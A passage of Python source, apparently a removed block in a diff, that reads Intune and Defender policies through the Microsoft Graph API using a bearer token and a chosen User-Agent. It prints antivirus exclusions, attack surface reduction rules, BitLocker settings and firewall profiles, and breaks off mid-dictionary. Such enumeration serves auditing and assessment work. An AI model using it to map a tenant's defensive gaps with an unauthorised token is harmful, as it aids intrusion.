"device_vendor_msft_policy_config_defender_allowintrusionpreventionsystem": { - "description": "Allow intrusion prevention system", - "values": { - "0": "Not allowed", - "1": "Allowed" - } - }, - "device_vendor_msft_policy_config_defender_allowioavprotection": { - "description": "Allow IOAV protection", - "values": { - "0": "Not allowed", - "1": "Allowed" - } - }, - "device_vendor_msft_policy_config_defender_allowrealtimemonitoring": { - "description": "Allow real-time monitoring", - "values": { - "0": "Not allowed", - "1": "Allowed" - } - }, - "device_vendor_msft_policy_config_defender_allowscanningnetworkfiles": { - "description": "Allow scanning network files", - "values": { - "0": "Not allowed", - "1": "Allowed" - } - }, - "device_vendor_msft_policy_config_defender_allowscriptscanning": { - "description": "Allow script scanning", - "values": { - "0": "Not allowed", - "1": "Allowed" - } - }, - "device_vendor_msft_policy_config_defender_allowuseruiaccess": { - "description": "Allow user UI access", - "values": { - "0": "Not allowed", - "1": "Allowed" - } - }, - "device_vendor_msft_policy_config_defender_checkforsignaturesbeforerunningscan": { - "description": "Check for signatures before running scan", - "values": { - "0": "Not required", - "1": "Required" - } - }, - "device_vendor_msft_policy_config_defender_cloudblocklevel": { - "description": "Cloud block level", - "values": { - "0": "Disabled", - "1": "Basic", - "2": "High" - } - }, - "device_vendor_msft_policy_config_defender_disablecatchupfullscan": { - "description": "Disable catch-up full scan", - "values": { - "0": "Enabled", - "1": "Disabled" - } - }, - "device_vendor_msft_policy_config_defender_disablecatchupquickscan": { - "description": "Disable catch-up quick scan", - "values": { - "0": "Enabled", - "1": "Disabled" - } - }, - "device_vendor_msft_policy_config_defender_enablelowcpupriority": { - "description": "Enable low CPU priority", - "values": { - "0": "Disabled", - "1": "Enabled" - } - }, - "device_vendor_msft_policy_config_defender_enablenetworkprotection": { - "description": "Enable network protection", - "values": { - "0": "Disabled", - "1": "Enabled" - } - }, - "device_vendor_msft_policy_config_defender_excludedextensions": { - "description": "Excluded extensions", - "values": {} - }, - "device_vendor_msft_policy_config_defender_excludedpaths": { - "description": "Excluded paths", - "values": {} - }, - "device_vendor_msft_policy_config_defender_excludedprocesses": { - "description": "Excluded processes", - "values": {} - }, - "device_vendor_msft_policy_config_defender_puaprotection": { - "description": "PUA protection", - "values": { - "0": "Disabled", - "1": "Enabled" - } - }, - "device_vendor_msft_policy_config_defender_realtimescandirection": { - "description": "Real-time scan direction", - "values": { - "0": "Both directions", - "1": "Inbound only", - "2": "Outbound only" - } - }, - "device_vendor_msft_policy_config_defender_scanparameter": { - "description": "Scan parameter", - "values": { - "0": "Quick scan", - "1": "Full scan" - } - } - } - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - response_json = response.json() - for setting in response_json.get('value', []): - if 'settingInstance' in setting: - setting_instance = setting['settingInstance'] - setting_id = setting_instance.get('settingDefinitionId', '') - if setting_id in settings_map: - description = settings_map[setting_id]['description'] - - if setting_instance['@odata.type'] == '#microsoft.graph.deviceManagementConfigurationSimpleSettingCollectionInstance': - simple_setting_values = setting_instance.get('simpleSettingCollectionValue', []) - value_list = [simple_setting_value.get('value', '') for simple_setting_value in simple_setting_values if simple_setting_value.get('value')] - value = ', '.join(value_list) - print(f"{description} : {value}") - elif 'choiceSettingValue' in setting_instance: - value = setting_instance['choiceSettingValue'].get('value', '') - value_suffix = value[len(setting_id):].lstrip('_') - - if value_suffix in settings_map[setting_id]['values']: - mapped_value = settings_map[setting_id]['values'][value_suffix] - elif value_suffix == 'block': - mapped_value = 'BLOCK' - elif value_suffix == 'allow': - mapped_value = 'ALLOW' - else: - mapped_value = value_suffix.upper() - print(f"{mapped_value:<10} : {description}") - - # group setting collection values - for setting in response_json.get('value', []): - if 'settingInstance' in setting and 'groupSettingCollectionValue' in setting['settingInstance']: - group_settings = setting['settingInstance']['groupSettingCollectionValue'] - for group_setting in group_settings: - for child in group_setting.get('children', []): - choice_setting_value = child.get('choiceSettingValue', {}) - value = choice_setting_value.get('value', '') - setting_id = child.get('settingDefinitionId', '') - if setting_id in settings_map: - description = settings_map[setting_id]['description'] - value_suffix = value[len(setting_id):].lstrip('_') - - if value_suffix in settings_map[setting_id]['values']: - mapped_value = settings_map[setting_id]['values'][value_suffix] - elif value_suffix == 'block': - mapped_value = 'BLOCK' - elif value_suffix == 'allow': - mapped_value = 'ALLOW' - else: - mapped_value = value_suffix.upper() - print(f"{mapped_value:<10} : {description}") - else: - print_red(f"[-] Failed to retrieve settings: {response.status_code}") - print_red(response.text) - print("=" * 80) - -# display-asrpolicyrules -def display_asrpolicyrules(args): - if not args.id: - print_red("[-] Error: --id argument is required for Display-ASRPolicyRules command") - return - - print_yellow("[*] Display-ASRPolicyRules") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - settings_map = { - "blockadobereaderfromcreatingchildprocesses": "Block Adobe Reader from creating child processes", - "blockprocesscreationsfrompsexecandwmicommands": "Block process creations from PSExec and WMI commands", - "blockexecutionofpotentiallyobfuscatedscripts": "Block execution of potentially obfuscated scripts", - "blockpersistencethroughwmieventsubscription": "Block persistence through WMI event subscription", - "blockwin32apicallsfromofficemacros": "Block Win32 API calls from Office macros", - "blockofficeapplicationsfromcreatingexecutablecontent": "Block Office applications from creating executable content", - "blockcredentialstealingfromwindowslocalsecurityauthoritysubsystem": "Block credential stealing from Windows local security authority subsystem", - "blockexecutablefilesrunningunlesstheymeetprevalenceagetrustedlistcriterion": "Block executable files running unless they meet prevalence age trusted list criterion", - "blockjavascriptorvbscriptfromlaunchingdownloadedexecutablecontent": "Block JavaScript or VBScript from launching downloaded executable content", - "blockofficecommunicationappfromcreatingchildprocesses": "Block Office communication app from creating child processes", - "blockofficeapplicationsfrominjectingcodeintootherprocesses": "Block Office applications from injecting code into other processes", - "blockallofficeapplicationsfromcreatingchildprocesses": "Block all Office applications from creating child processes", - "blockwebshellcreationforservers": "Block web shell creation for servers", - "blockuntrustedunsignedprocessesthatrunfromusb": "Block untrusted unsigned processes that run from USB", - "useadvancedprotectionagainstransomware": "Use advanced protection against ransomware", - "blockexecutablecontentfromemailclientandwebmail": "Block executable content from email client and webmail", - "blockabuseofexploitedvulnerablesigneddrivers": "Block abuse of exploited vulnerable signed drivers" - } - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - response_json = response.json() - - if "value" in response_json: - for item in response_json["value"]: - setting_instance = item.get("settingInstance", {}) - group_settings = setting_instance.get("groupSettingCollectionValue", []) - - for group in group_settings: - children = group.get("children", []) - - for child in children: - choice_setting_value = child.get("choiceSettingValue", {}) - value = choice_setting_value.get("value", "") - - if value: - parts = value.split("_") - if len(parts) >= 2: - action = parts[-1].upper() - rule_name = "_".join(parts[:-1]) - rule_name = rule_name.replace("device_vendor_msft_policy_config_defender_attacksurfacereductionrules_", "") - readable_rule = settings_map.get(rule_name, rule_name) - print(f"{action:<6}: {readable_rule}") - else: - print_red(f"[-] Failed to retrieve settings: {response.status_code}") - print_red(response.text) - print("=" * 80) - -# display-diskencryptionpolicyrules -def display_diskencryptionpolicyrules(args): - if not args.id: - print_red("[-] Error: --id argument is required for Display-DiskEncryptionPolicyRules command") - return - - print_yellow("[*] Display-DiskEncryptionPolicyRules") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" #?$expand=settingDefinitions" - - if args.select: - api_url += "?$select=" + args.select - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - settings_map = { - "device_vendor_msft_bitlocker_fixeddrivesencryptiontype": "Enforce drive encryption type on fixed data drives", - "device_vendor_msft_bitlocker_fixeddrivesrecoveryoptions": "Choose how BitLocker-protected fixed drives can be recovered", - "device_vendor_msft_bitlocker_fixeddrivesrequireencryption": "Deny write access to fixed drives not protected by BitLocker", - "device_vendor_msft_bitlocker_systemdrivesencryptiontype": "Enforce drive encryption type on operating system drives", - "device_vendor_msft_bitlocker_systemdrivesrequirestartupauthentication": "Require additional authentication at startup", - "device_vendor_msft_bitlocker_systemdrivesminimumpinlength": "Configure minimum PIN length for startup", - "device_vendor_msft_bitlocker_systemdrivesenhancedpin": "Allow enhanced PINs for startup", - "device_vendor_msft_bitlocker_systemdrivesdisallowstandarduserscanchangepin": "Disallow standard users from changing the PIN or password", - "device_vendor_msft_bitlocker_systemdrivesenableprebootpinexceptionondecapabledevice": "Allow devices compliant with InstantGo or HSTI to opt out of pre-boot PIN", - "device_vendor_msft_bitlocker_systemdrivesenableprebootinputprotectorsonslates": "Enable use of BitLocker authentication requiring preboot keyboard input on slates", - "device_vendor_msft_bitlocker_systemdrivesrecoveryoptions": "Choose how BitLocker-protected operating system drives can be recovered", - "device_vendor_msft_bitlocker_systemdrivesrecoverymessage": "Configure pre-boot recovery message and URL", - "device_vendor_msft_bitlocker_removabledrivesconfigurebde": "Control use of BitLocker on removable drives", - "device_vendor_msft_bitlocker_removabledrivesrequireencryption": "Deny write access to removable drives not protected by BitLocker", - "device_vendor_msft_bitlocker_encryptionmethodbydrivetype": "Choose drive encryption method and cipher strength (Windows 10 [Version 1511] and later)", - "device_vendor_msft_bitlocker_identificationfield": "Provide the unique identifiers for your organization", - "device_vendor_msft_bitlocker_requiredeviceencryption": "Require Device Encryption", - "device_vendor_msft_bitlocker_allowwarningforotherdiskencryption": "Allow Standard User Encryption", - "device_vendor_msft_bitlocker_configurerecoverypasswordrotation": "Configure Recovery Password Rotation" - } - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - response_json = response.json() - for setting in response_json.get('value', []): - if 'settingInstance' in setting and 'choiceSettingValue' in setting['settingInstance']: - value_field = setting['settingInstance']['choiceSettingValue'].get('value') - if value_field: - cleaned_value = value_field.rstrip('_01') - if cleaned_value in settings_map: - setting_text = settings_map[cleaned_value] - if value_field.endswith('_1'): - print(f"ENABLED : {setting_text}") - elif value_field.endswith('_0'): - print(f"DISABLED : {setting_text}") - else: - print(f"{setting_text} - {value_field}") - else: - print_red(f"[-] Failed to retrieve settings: {response.status_code}") - print_red(response.text) - print("=" * 80) - -# display-firewallconfigpolicyrules - firewall config policy -def display_firewallconfigpolicyrules(args): - if not args.id: - print_red("[-] Error: --id argument is required for display-firewallconfigpolicyrules command") - return - - print_yellow("[*] Display-FirewallConfigPolicyRules") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - settings_map = { - "vendor_msft_firewall_mdmstore_global_crlcheck": { - "displayName": "Certificate revocation list verification", - "options": { - "vendor_msft_firewall_mdmstore_global_crlcheck_0": "None - Disables CRL checking", - "vendor_msft_firewall_mdmstore_global_crlcheck_1": "Attempt - checking is attempted and that certificate validation fails only if the certificate is revoked", - "vendor_msft_firewall_mdmstore_global_crlcheck_2": "Require - checking is required and that certificate validation fails if any error is encountered during CRL processing", - } - }, - "vendor_msft_firewall_mdmstore_global_disablestatefulftp": { - "displayName": "Disable Stateful Ftp", - "options": { - "vendor_msft_firewall_mdmstore_global_disablestatefulftp_false": "Stateful FTP enabled", - "vendor_msft_firewall_mdmstore_global_disablestatefulftp_true": "Stateful FTP disabled", - } - }, - "vendor_msft_firewall_mdmstore_global_enablepacketqueue": { - "displayName": "Enable Packet Queue", - "options": { - "vendor_msft_firewall_mdmstore_global_enablepacketqueue_0": "Disabled - Indicates that all queuing is to be disabled", - "vendor_msft_firewall_mdmstore_global_enablepacketqueue_1": "Queue Inbound - inbound encrypted packets are to be queued", - "vendor_msft_firewall_mdmstore_global_enablepacketqueue_2": "Queue Outbound - packets are to be queued after decryption is performed for forwarding", - } - }, - "vendor_msft_firewall_mdmstore_global_ipsecexempt": { - "displayName": "IPsec Exceptions", - "options": { - "vendor_msft_firewall_mdmstore_global_ipsecexempt_0": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_NONE: No IPsec exemptions.", - "vendor_msft_firewall_mdmstore_global_ipsecexempt_1": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_NEIGHBOR_DISC: Exempt neighbor discover IPv6 ICMP type-codes from IPsec.", - "vendor_msft_firewall_mdmstore_global_ipsecexempt_2": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_ICMP: Exempt ICMP from IPsec.", - "vendor_msft_firewall_mdmstore_global_ipsecexempt_4": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_ROUTER_DISC: Exempt router discover IPv6 ICMP type-codes from IPsec.", - "vendor_msft_firewall_mdmstore_global_ipsecexempt_8": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_DHCP: Exempt both IPv4 and IPv6 DHCP traffic from IPsec.", - } - }, - "vendor_msft_firewall_mdmstore_global_opportunisticallymatchauthsetperkm": { - "displayName": "Opportunistically Match Auth Set Per KM", - "options": { - "vendor_msft_firewall_mdmstore_global_opportunisticallymatchauthsetperkm_false": "FALSE", - "vendor_msft_firewall_mdmstore_global_opportunisticallymatchauthsetperkm_true": "TRUE", - } - }, - "vendor_msft_firewall_mdmstore_global_presharedkeyencoding": { - "displayName": "Preshared Key Encoding", - "options": { - "vendor_msft_firewall_mdmstore_global_presharedkeyencoding_0": "FW_GLOBAL_CONFIG_PRESHARED_KEY_ENCODING_NONE: Preshared key is not encoded. Instead, it is kept in its wide-character format. This symbolic constant has a value of 0.", - "vendor_msft_firewall_mdmstore_global_presharedkeyencoding_1": "FW_GLOBAL_CONFIG_PRESHARED_KEY_ENCODING_UTF_8: Encode the preshared key using UTF-8. This symbolic constant has a value of 1.", - } - }, - "vendor_msft_firewall_mdmstore_global_saidletime": { - "displayName": "Security association idle time", - "options": {} - }, - "vendor_msft_firewall_mdmstore_domainprofile_allowlocalipsecpolicymerge": { - "displayName": "Allow Local Ipsec Policy Merge", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_allowlocalipsecpolicymerge_false": "AllowLocalIpsecPolicyMerge Off", - "vendor_msft_firewall_mdmstore_domainprofile_allowlocalipsecpolicymerge_true": "AllowLocalIpsecPolicyMerge On", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_authappsallowuserprefmerge": { - "displayName": "Auth Apps Allow User Pref Merge", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_authappsallowuserprefmerge_false": "AuthAppsAllowUserPrefMerge Off", - "vendor_msft_firewall_mdmstore_domainprofile_authappsallowuserprefmerge_true": "AuthAppsAllowUserPrefMerge On", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_enablelogdroppedpackets": { - "displayName": "Enable Log Dropped Packets", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_enablelogdroppedpackets_false": "Disable Logging Of Dropped Packets", - "vendor_msft_firewall_mdmstore_domainprofile_enablelogdroppedpackets_true": "Enable Logging Of Dropped Packets", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_disableunicastresponsestomulticastbroadcast": { - "displayName": "Disable Unicast Responses To Multicast Broadcast", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_disableunicastresponsestomulticastbroadcast_false": "Unicast Responses Not Blocked", - "vendor_msft_firewall_mdmstore_domainprofile_disableunicastresponsestomulticastbroadcast_true": "Unicast Responses Blocked", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_shielded": { - "displayName": "Shielded", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_shielded_false": "Shielding Off", - "vendor_msft_firewall_mdmstore_domainprofile_shielded_true": "Shielding On", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_allowlocalpolicymerge": { - "displayName": "Allow Local Policy Merge", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_allowlocalpolicymerge_false": "AllowLocalPolicyMerge Off", - "vendor_msft_firewall_mdmstore_domainprofile_allowlocalpolicymerge_true": "AllowLocalPolicyMerge On", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_defaultoutboundaction": { - "displayName": "Default Outbound Action", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_defaultoutboundaction_0": "Allow Outbound By Default", - "vendor_msft_firewall_mdmstore_domainprofile_defaultoutboundaction_1": "Block Outbound By Default", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_enablelogignoredrules": { - "displayName": "Enable Log Ignored Rules", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_enablelogignoredrules_false": "Disable Logging Of Ignored Rules", - "vendor_msft_firewall_mdmstore_domainprofile_enablelogignoredrules_true": "Enable Logging Of Ignored Rules", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_disableinboundnotifications": { - "displayName": "Disable Inbound Notifications", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_disableinboundnotifications_false": "Firewall May Display Notification", - "vendor_msft_firewall_mdmstore_domainprofile_disableinboundnotifications_true": "Firewall Must Not Display Notification", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_enablelogsuccessconnections": { - "displayName": "Enable Log Success Connections", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_enablelogsuccessconnections_false": "Disable Logging Of Successful Connections", - "vendor_msft_firewall_mdmstore_domainprofile_enablelogsuccessconnections_true": "Enable Logging Of Successful Connections", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_logfilepath": { - "displayName": "Log File Path", - "options": {} - }, - "vendor_msft_firewall_mdmstore_domainprofile_enablefirewall": { - "displayName": "Enable Domain Network Firewall", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_enablefirewall_false": "Disable Firewall", - "vendor_msft_firewall_mdmstore_domainprofile_enablefirewall_true": "Enable Firewall", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_logmaxfilesize": { - "displayName": "Log Max File Size", - "options": {} - }, - "vendor_msft_firewall_mdmstore_domainprofile_globalportsallowuserprefmerge": { - "displayName": "Global Ports Allow User Pref Merge", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_globalportsallowuserprefmerge_false": "GlobalPortsAllowUserPrefMerge Off", - "vendor_msft_firewall_mdmstore_domainprofile_globalportsallowuserprefmerge_true": "GlobalPortsAllowUserPrefMerge On", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_defaultinboundaction": { - "displayName": "Default Inbound Action for Domain Profile", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_defaultinboundaction_0": "Allow Inbound By Default", - "vendor_msft_firewall_mdmstore_domainprofile_defaultinboundaction_1": "Block Inbound By Default", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmodeipsecsecuredpacketexemption": { - "displayName": "Disable Stealth Mode Ipsec Secured Packet Exemption", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmodeipsecsecuredpacketexemption_false": "FALSE", - "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmodeipsecsecuredpacketexemption_true": "TRUE", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmode": { - "displayName": "Disable Stealth Mode", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmode_false": "Use Stealth Mode", - "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmode_true": "Disable Stealth Mode", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_allowlocalipsecpolicymerge": { - "displayName": "Allow Local Ipsec Policy Merge", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_allowlocalipsecpolicymerge_false": "AllowLocalIpsecPolicyMerge Off", - "vendor_msft_firewall_mdmstore_privateprofile_allowlocalipsecpolicymerge_true": "AllowLocalIpsecPolicyMerge On", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_authappsallowuserprefmerge": { - "displayName": "Auth Apps Allow User Pref Merge", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_authappsallowuserprefmerge_false": "AuthAppsAllowUserPrefMerge Off", - "vendor_msft_firewall_mdmstore_privateprofile_authappsallowuserprefmerge_true": "AuthAppsAllowUserPrefMerge On", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_enablefirewall": { - "displayName": "Enable Private Network Firewall", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_enablefirewall_false": "Disable Firewall", - "vendor_msft_firewall_mdmstore_privateprofile_enablefirewall_true": "Enable Firewall", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_logmaxfilesize": { - "displayName": "Log Max File Size", - "options": {} - }, - "vendor_msft_firewall_mdmstore_privateprofile_globalportsallowuserprefmerge": { - "displayName": "Global Ports Allow User Pref Merge", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_globalportsallowuserprefmerge_false": "GlobalPortsAllowUserPrefMerge Off", - "vendor_msft_firewall_mdmstore_privateprofile_globalportsallowuserprefmerge_true": "GlobalPortsAllowUserPrefMerge On", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_defaultinboundaction": { - "displayName": "Default Inbound Action for Private Profile", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_defaultinboundaction_0": "Allow Inbound By Default", - "vendor_msft_firewall_mdmstore_privateprofile_defaultinboundaction_1": "Block Inbound By Default", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_disableunicastresponsestomulticastbroadcast": { - "displayName": "Disable Unicast Responses To Multicast Broadcast", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_disableunicastresponsestomulticastbroadcast_false": "Unicast Responses Not Blocked", - "vendor_msft_firewall_mdmstore_privateprofile_disableunicastresponsestomulticastbroadcast_true": "Unicast Responses Blocked", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_logfilepath": { - "displayName": "Log File Path", - "options": {} - }, - "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmode": { - "displayName": "Disable Stealth Mode", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmode_false": "Use Stealth Mode", - "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmode_true": "Disable Stealth Mode", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_enablelogdroppedpackets": { - "displayName": "Enable Log Dropped Packets", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_enablelogdroppedpackets_false": "Disable Logging Of Dropped Packets", - "vendor_msft_firewall_mdmstore_privateprofile_enablelogdroppedpackets_true": "Enable Logging Of Dropped Packets", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmodeipsecsecuredpacketexemption": { - "displayName": "Disable Stealth Mode Ipsec Secured Packet Exemption", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmodeipsecsecuredpacketexemption_false": "FALSE", - "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmodeipsecsecuredpacketexemption_true": "TRUE", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_disableinboundnotifications": { - "displayName": "Disable Inbound Notifications", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_disableinboundnotifications_false": "Firewall May Display Notification", - "vendor_msft_firewall_mdmstore_privateprofile_disableinboundnotifications_true": "Firewall Must Not Display Notification", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_enablelogsuccessconnections": { - "displayName": "Enable Log Success Connections", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_enablelogsuccessconnections_false": "Disable Logging Of Successful Connections", - "vendor_msft_firewall_mdmstore_privateprofile_enablelogsuccessconnections_true": "Enable Logging Of Successful Connections", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_shielded": { - "displayName": "Shielded", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_shielded_false": "Shielding Off", - "vendor_msft_firewall_mdmstore_privateprofile_shielded_true": "Shielding On", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_allowlocalpolicymerge": { - "displayName": "Allow Local Policy Merge", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_allowlocalpolicymerge_false": "AllowLocalPolicyMerge Off", - "vendor_msft_firewall_mdmstore_privateprofile_allowlocalpolicymerge_true": "AllowLocalPolicyMerge On", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_defaultoutboundaction": { - "displayName": "Default Outbound Action", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_defaultoutboundaction_0": "Allow Outbound By Default", - "vendor_msft_firewall_mdmstore_privateprofile_defaultoutboundaction_1": "Block Outbound By Default", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_enablelogignoredrules": { - "displayName": "Enable Log Ignored Rules", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_enablelogignoredrules_false": "Disable Logging Of Ignored Rules", - "vendor_msft_firewall_mdmstore_privateprofile_enablelogignoredrules_true": "Enable Logging Of Ignored Rules", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_disableunicastresponsestomulticastbroadcast": { - "displayName": "Disable Unicast Responses To Multicast Broadcast", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_disableunicastresponsestomulticastbroadcast_false": "Unicast Responses Not Blocked", - "vendor_msft_firewall_mdmstore_publicprofile_disableunicastresponsestomulticastbroadcast_true": "Unicast Responses Blocked", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_globalportsallowuserprefmerge": { - "displayName": "Global Ports Allow User Pref Merge", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_globalportsallowuserprefmerge_false": "GlobalPortsAllowUserPrefMerge Off", - "vendor_msft_firewall_mdmstore_publicprofile_globalportsallowuserprefmerge_true": "GlobalPortsAllowUserPrefMerge On", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmodeipsecsecuredpacketexemption": { - "displayName": "Disable Stealth Mode Ipsec Secured Packet Exemption", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmodeipsecsecuredpacketexemption_false": "FALSE", - "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmodeipsecsecuredpacketexemption_true": "TRUE", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_shielded": { - "displayName": "Shielded", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_shielded_false": "Shielding Off", - "vendor_msft_firewall_mdmstore_publicprofile_shielded_true": "Shielding On", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_allowlocalpolicymerge": { - "displayName": "Allow Local Policy Merge", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_allowlocalpolicymerge_false": "AllowLocalPolicyMerge Off", - "vendor_msft_firewall_mdmstore_publicprofile_allowlocalpolicymerge_true": "AllowLocalPolicyMerge On", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_defaultoutboundaction": { - "displayName": "Default Outbound Action", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_defaultoutboundaction_0": "Allow Outbound By Default", - "vendor_msft_firewall_mdmstore_publicprofile_defaultoutboundaction_1": "Block Outbound By Default", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_enablelogignoredrules": { - "displayName": "Enable Log Ignored Rules", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_enablelogignoredrules_false": "Disable Logging Of Ignored Rules", - "vendor_msft_firewall_mdmstore_publicprofile_enablelogignoredrules_true": "Enable Logging Of Ignored Rules", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_disableinboundnotifications": { - "displayName": "Disable Inbound Notifications", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_disableinboundnotifications_false": "Firewall May Display Notification", - "vendor_msft_firewall_mdmstore_publicprofile_disableinboundnotifications_true": "Firewall Must Not Display Notification", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_enablelogsuccessconnections": { - "displayName": "Enable Log Success Connections", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_enablelogsuccessconnections_false": "Disable Logging Of Successful Connections", - "vendor_msft_firewall_mdmstore_publicprofile_enablelogsuccessconnections_true": "Enable Logging Of Successful Connections", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_allowlocalipsecpolicymerge": { - "displayName": "Allow Local Ipsec Policy Merge", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_allowlocalipsecpolicymerge_false": "AllowLocalIpsecPolicyMerge Off", - "vendor_msft_firewall_mdmstore_publicprofile_allowlocalipsecpolicymerge_true": "AllowLocalIpsecPolicyMerge On", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_authappsallowuserprefmerge": { - "displayName": "Auth Apps Allow User Pref Merge", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_authappsallowuserprefmerge_false": "AuthAppsAllowUserPrefMerge Off", - "vendor_msft_firewall_mdmstore_publicprofile_authappsallowuserprefmerge_true": "AuthAppsAllowUserPrefMerge On", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_logfilepath": { - "displayName": "Log File Path", - "options": {} - }, - "vendor_msft_firewall_mdmstore_publicprofile_enablefirewall": { - "displayName": "Enable Public Network Firewall", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_enablefirewall_false": "Disable Firewall", - "vendor_msft_firewall_mdmstore_publicprofile_enablefirewall_true": "Enable Firewall", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_logmaxfilesize": { - "displayName": "Log Max File Size", - "options": {} - }, - "vendor_msft_firewall_mdmstore_publicprofile_enablelogdroppedpackets": { - "displayName": "Enable Log Dropped Packets", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_enablelogdroppedpackets_false": "Disable Logging Of Dropped Packets", - "vendor_msft_firewall_mdmstore_publicprofile_enablelogdroppedpackets_true": "Enable Logging Of Dropped Packets", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_defaultinboundaction": { - "displayName": "Default Inbound Action for Public Profile", - "options": { - 